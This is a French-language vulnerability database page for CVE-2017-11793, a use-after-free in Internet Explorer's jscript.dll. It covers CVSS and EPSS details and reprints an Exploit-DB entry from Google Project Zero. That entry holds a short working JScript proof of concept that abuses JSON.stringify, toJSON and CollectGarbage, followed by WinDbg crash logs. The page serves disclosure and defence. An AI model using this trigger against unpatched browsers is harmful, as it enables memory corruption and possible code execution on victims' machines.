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CVE-2017-11793 : Détail

CVE-2017-11793

7.5
/
HIGH
Overflow
90.02%V3
Network
2017-10-09 22:00 +00:00
2017-12-21 09:57 +00:00
CVE.org
NVD

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Descriptions

Internet Explorer in Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an attacker to execute arbitrary code in the context of the current user, due to how the scripting engine handles objects in memory, aka "Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11792, CVE-2017-11796, CVE-2017-11798, CVE-2017-11799, CVE-2017-11800, CVE-2017-11801, CVE-2017-11802, CVE-2017-11804, CVE-2017-11805, CVE-2017-11806, CVE-2017-11807, CVE-2017-11808, CVE-2017-11809, CVE-2017-11810, CVE-2017-11811, CVE-2017-11812, and CVE-2017-11821.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 43368

Date de publication : 2017-12-18 23:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1381 There is a use-after-free in jscript.dll library that can be exploited in IE11. PoC: ========================================= --> <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var o1 = {toJSON:function(){ alert('o1'); return [o2]; }} var o2 = {toJSON:function(){ alert('o2'); CollectGarbage(); return 'x'; }} JSON.stringify(o1); </script> <!-- ========================================= Technical details: JSONStringifyObject first calls JSONApplyFilters which calls an argument's toString method. However the return value of the toString method won't be on the garbage collector's root object list and thus can be freed during subsequent callbacks. Debug log: ========================================= 0:028> g (df8.e48): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!JSONStringifyArray+0x38f: 000007fe`edbf9fb3 66214738 and word ptr [rdi+38h],ax ds:00000000`04518fc8=???? 0:014> r rax=000000000000fffb rbx=0000000000000000 rcx=0000000000000005 rdx=0000000000000005 rsi=00000000129ca100 rdi=0000000004518f90 rip=000007feedbf9fb3 rsp=00000000129c9f30 rbp=00000000129c9fa9 r8=0000000000000000 r9=000000000405d670 r10=0000000000000081 r11=00000000129c9f00 r12=0000000000000001 r13=0000000000000001 r14=0000000000000000 r15=00000000129ca1a8 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 jscript!JSONStringifyArray+0x38f: 000007fe`edbf9fb3 66214738 and word ptr [rdi+38h],ax ds:00000000`04518fc8=???? 0:014> k # Child-SP RetAddr Call Site 00 00000000`129c9f30 000007fe`edbfa2cc jscript!JSONStringifyArray+0x38f 01 00000000`129ca000 000007fe`edbfec94 jscript!JSONStringifyObject+0x2dc 02 00000000`129ca0b0 000007fe`edb9c2ec jscript!JsJSONStringify+0x3e4 03 00000000`129ca190 000007fe`edb9a9fe jscript!NatFncObj::Call+0x138 04 00000000`129ca240 000007fe`edb9b234 jscript!NameTbl::InvokeInternal+0x3f8 05 00000000`129ca360 000007fe`edb99852 jscript!VAR::InvokeByName+0x81c 06 00000000`129ca570 000007fe`edb99929 jscript!VAR::InvokeDispName+0x72 07 00000000`129ca5f0 000007fe`edb924b8 jscript!VAR::InvokeByDispID+0x1229 08 00000000`129ca640 000007fe`edb98ec2 jscript!CScriptRuntime::Run+0x5a6 09 00000000`129cb440 000007fe`edb98d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162 0a 00000000`129cb650 000007fe`edb98b95 jscript!ScrFncObj::Call+0xb7 0b 00000000`129cb6f0 000007fe`edb9e6c0 jscript!CSession::Execute+0x19e 0c 00000000`129cb7c0 000007fe`edba70e7 jscript!COleScript::ExecutePendingScripts+0x17a 0d 00000000`129cb890 000007fe`edba68d6 jscript!COleScript::ParseScriptTextCore+0x267 0e 00000000`129cb980 000007fe`ee2f5251 jscript!COleScript::ParseScriptText+0x56 0f 00000000`129cb9e0 000007fe`eea7b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1 10 00000000`129cba60 000007fe`ee2f6256 MSHTML!CScriptCollection::ParseScriptText+0x37f 11 00000000`129cbb40 000007fe`ee2f5c8e MSHTML!CScriptData::CommitCode+0x3d9 12 00000000`129cbd10 000007fe`ee2f5a11 MSHTML!CScriptData::Execute+0x283 13 00000000`129cbdd0 000007fe`eeab46fb MSHTML!CHtmScriptParseCtx::Execute+0x101 14 00000000`129cbe10 000007fe`ee398a5b MSHTML!CHtmParseBase::Execute+0x235 15 00000000`129cbeb0 000007fe`ee272e39 MSHTML!CHtmPost::Broadcast+0x90 16 00000000`129cbef0 000007fe`ee2ccaef MSHTML!CHtmPost::Exec+0x4bb 17 00000000`129cc100 000007fe`ee2cca40 MSHTML!CHtmPost::Run+0x3f 18 00000000`129cc130 000007fe`ee2cda12 MSHTML!PostManExecute+0x70 19 00000000`129cc1b0 000007fe`ee2d0843 MSHTML!PostManResume+0xa1 1a 00000000`129cc1f0 000007fe`ee2b6fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43 1b 00000000`129cc240 000007fe`eeae4f78 MSHTML!CDwnChan::OnMethodCall+0x41 1c 00000000`129cc270 000007fe`ee1d9d75 MSHTML!GlobalWndOnMethodCall+0x240 1d 00000000`129cc310 00000000`771f9bbd MSHTML!GlobalWndProc+0x150 1e 00000000`129cc390 00000000`771f98c2 USER32!UserCallWinProcCheckWow+0x1ad 1f 00000000`129cc450 000007fe`f2694a87 USER32!DispatchMessageWorker+0x3b5 20 00000000`129cc4d0 000007fe`f269babb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 21 00000000`129cf750 000007fe`fe4c572f IEFRAME!LCIETab_ThreadProc+0x3a3 22 00000000`129cf880 000007fe`efb2925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f 23 00000000`129cf8b0 00000000`772f59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 24 00000000`129cf900 00000000`7742a561 kernel32!BaseThreadInitThunk+0xd 25 00000000`129cf930 00000000`00000000 ntdll!RtlUserThreadStart+0x1d 0:014> !heap -p -a 00000000`04518fc8 address 0000000004518fc8 found in _DPH_HEAP_ROOT @ 3d31000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 3d49750: 4518000 2000 000007feefb88726 verifier!AVrfDebugPageHeapFree+0x00000000000000a2 00000000774c4255 ntdll!RtlDebugFreeHeap+0x0000000000000035 000000007746797c ntdll! ?? ::FNODOBFM::`string'+0x000000000000e982 000007fefd4b10c8 msvcrt!free+0x000000000000001c 000007feedb9bad2 jscript!NativeErrorProtoObj<16>::`vector deleting destructor'+0x0000000000000022 000007feedb9b938 jscript!NameTbl::SetMasterVariant+0x000000000000a240 000007feedbb42cb jscript!GcAlloc::ReclaimGarbage+0x000000000000034d 000007feedb919e2 jscript!GcContext::Reclaim+0x00000000000000ae 000007feedba1956 jscript!GcContext::CollectCore+0x000000000000018b 000007feedba17a5 jscript!GcContext::Collect+0x0000000000000025 000007feedbe42f3 jscript!JsCollectGarbage+0x0000000000000023 000007feedb9c2ec jscript!NatFncObj::Call+0x0000000000000138 000007feedb9c199 jscript!NameTbl::InvokeInternal+0x0000000000000377 000007feedb986ea jscript!VAR::InvokeByDispID+0xffffffffffffffea 000007feedb924b8 jscript!CScriptRuntime::Run+0x00000000000005a6 000007feedb98ec2 jscript!ScrFncObj::CallWithFrameOnStack+0x0000000000000162 000007feedb98d2b jscript!ScrFncObj::Call+0x00000000000000b7 000007feedbc2084 jscript!NameTbl::InvokeInternal+0x000000000000060f 000007feedb986ea jscript!VAR::InvokeByDispID+0xffffffffffffffea 000007feedbf8ee3 jscript!GCProtectKeyAndCall+0x000000000000009f 000007feedbf97a6 jscript!JSONApplyFilters+0x000000000000014a 000007feedbfa08b jscript!JSONStringifyObject+0x000000000000009b 000007feedbf9e77 jscript!JSONStringifyArray+0x0000000000000253 000007feedbfa2cc jscript!JSONStringifyObject+0x00000000000002dc 000007feedbfec94 jscript!JsJSONStringify+0x00000000000003e4 000007feedb9c2ec jscript!NatFncObj::Call+0x0000000000000138 000007feedb9a9fe jscript!NameTbl::InvokeInternal+0x00000000000003f8 000007feedb9b234 jscript!VAR::InvokeByName+0x000000000000081c 000007feedb99852 jscript!VAR::InvokeDispName+0x0000000000000072 000007feedb99929 jscript!VAR::InvokeByDispID+0x0000000000001229 000007feedb924b8 jscript!CScriptRuntime::Run+0x00000000000005a6 000007feedb98ec2 jscript!ScrFncObj::CallWithFrameOnStack+0x0000000000000162 ========================================= -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

References

http://www.securitytracker.com/id/1039532
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43368/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/101141
Tags : vdb-entry, x_refsource_BID

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